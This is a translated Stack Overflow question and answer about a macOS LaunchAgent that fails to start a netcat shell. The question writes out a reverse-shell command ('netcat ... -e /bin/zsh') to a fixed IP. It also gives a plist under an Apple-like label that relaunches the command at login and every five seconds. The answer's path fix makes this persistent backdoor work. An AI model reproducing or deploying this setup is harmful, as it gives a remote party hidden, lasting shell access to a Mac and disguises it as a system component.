【问题标题】:Launchctl does not start netcat shellLaunchctl 不启动 netcat shell
【发布时间】:2020-04-20 19:31:34
【问题描述】:

我有一个如图所示的脚本保存到文件 /Users/yulkytulky/Library/demo/demo:

netcat 192.168.1.191 12345 -e /bin/zsh

并创建了一个 LaunchAgent plist 文件,以便 shell 像这样自动运行:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.apple.demo</string>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
          <string>/bin/sh</string>
          <string>/Users/yulkytulky/Library/demo/demo</string>
        </array>
        <key>StartInterval</key>
        <integer>5</integer>
</dict>
</plist>

但是,当我收听时,没有生成任何 shell。

我测试了将脚本更改为

say hello

它成功了! (每 5 秒打个招呼)

为什么当我尝试运行 netcat 时它不起作用?

注意:我知道脚本是可执行的。我什至可以从 plist 文件中复制脚本的路径,将其粘贴到终端中,然后就可以正常工作了。

【问题讨论】:

  • 再次检查netcat 的路径(您可以在shell 中使用which netcat 执行此操作)。 say 位于 /usr/bin/ 中,因此通常位于标准路径中,但如果您的 netcat 可执行文件位于其他位置,您可能需要为其提供完整的路径规范。
  • @gaige 非常感谢!我犯了一个多么愚蠢的错误......它存储在 /usr/local/bin/netcat

标签: bash macos shell netcat launchctl


【解决方案1】:

仔细检查netcat 的路径(您可以在shell 中使用which netcat 执行此操作)。 say 位于 /usr/bin/ 中,因此通常位于标准路径中,但如果您的 netcat 可执行文件位于其他位置,您可能需要为其提供完整的路径规范

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2018-01-22
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2022-06-24
    • 2013-06-09
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多